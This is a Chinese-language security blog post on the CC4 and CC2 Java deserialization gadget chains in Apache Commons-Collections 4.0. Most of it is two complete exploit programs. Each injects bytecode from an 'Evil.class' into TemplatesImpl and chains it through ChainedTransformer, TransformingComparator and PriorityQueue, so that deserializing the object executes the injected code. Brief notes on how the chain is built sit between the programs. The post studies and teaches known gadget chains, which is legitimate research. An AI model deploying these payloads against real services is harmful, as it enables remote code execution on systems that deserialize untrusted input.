之前的几条CC链都是 Commons-Collections 3.2.1版本中的,CC4和CC2链是 Commons-Collections 4.0版本中的 Java反序列化利用链。
CC4
完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| import com.sun.net.httpserver.Filter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue<TransformingComparator> queue = new PriorityQueue<TransformingComparator>(transformingComparator);
Class priorityQueueClass = queue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.setInt(queue, 2);
serialize(queue); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
1、在 Commons-Collections 4.0中查找 ChainedTransformer.transform的用法,发现在 TransformingComparator.compare中被调用:

2、compare方法可以在 PriorityQueue.siftDownUsingComparator中被调用,comparator可以在类构造函数中被赋值可控:


3、PriorityQueue.siftDownUsingComparator可以在 PriorityQueue.readObject中被调用:



问:为什么 Commons-Collections 3.2.1中不能利用这条链呢?
答:因为 Commons-Collections 3.2.1 中 TransformingComparator类没有实现 Serializable接口,不能被反序列化:

利用链流程图

CC2
CC2的核心思想还是 CC4链,只不过 CC2使用 InvokerTransformer直接调用 Templates.newTransformer,没利用 InstantiateTransformer。
完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[] {}, new Object[] {}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue<TransformingComparator> queue = new PriorityQueue<TransformingComparator>(transformingComparator);
Class priorityQueueClass = queue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.setInt(queue, 2);
serialize(queue); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑 + 流程图
